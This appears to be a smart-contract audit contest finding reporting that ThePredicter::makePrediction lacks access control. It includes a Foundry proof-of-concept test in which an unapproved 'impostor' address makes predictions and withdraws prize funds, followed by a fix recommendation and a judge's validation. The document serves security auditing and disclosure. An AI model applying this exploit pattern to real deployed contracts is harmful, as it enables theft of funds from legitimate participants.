Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

User can make prediction and withdraw without being approved by the organizer

Description

ThePredicter::makePrediction does not forces msg.sender to be an approved Player.

Impact

Anyone can participate, beyond the max 30 Players approved by the Organizer. If a non-approved User participates and withdraw some prize, they steal it from the pool of real Players since the pool is calculated from the length of players.

PoC

Add the following code at the end of the test file and run it :

forge test --mt test_userCanMakePredictionWithoutRegistering

function test_userCanMakePredictionWithoutRegistering() public {
address impostor = makeAddr("impostor");
vm.deal(impostor, 1 ether);
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
// Impostor is not approved by the organizer and can still participate
vm.startPrank(impostor);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
thePredicter.withdraw();
vm.stopPrank();
assertEq(impostor.balance, 1.0397 ether);
}

Recommendations

Update ThePredicter::makePrediction to revert if msg.sender is not approved by the Organizer (in the list of players).

Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.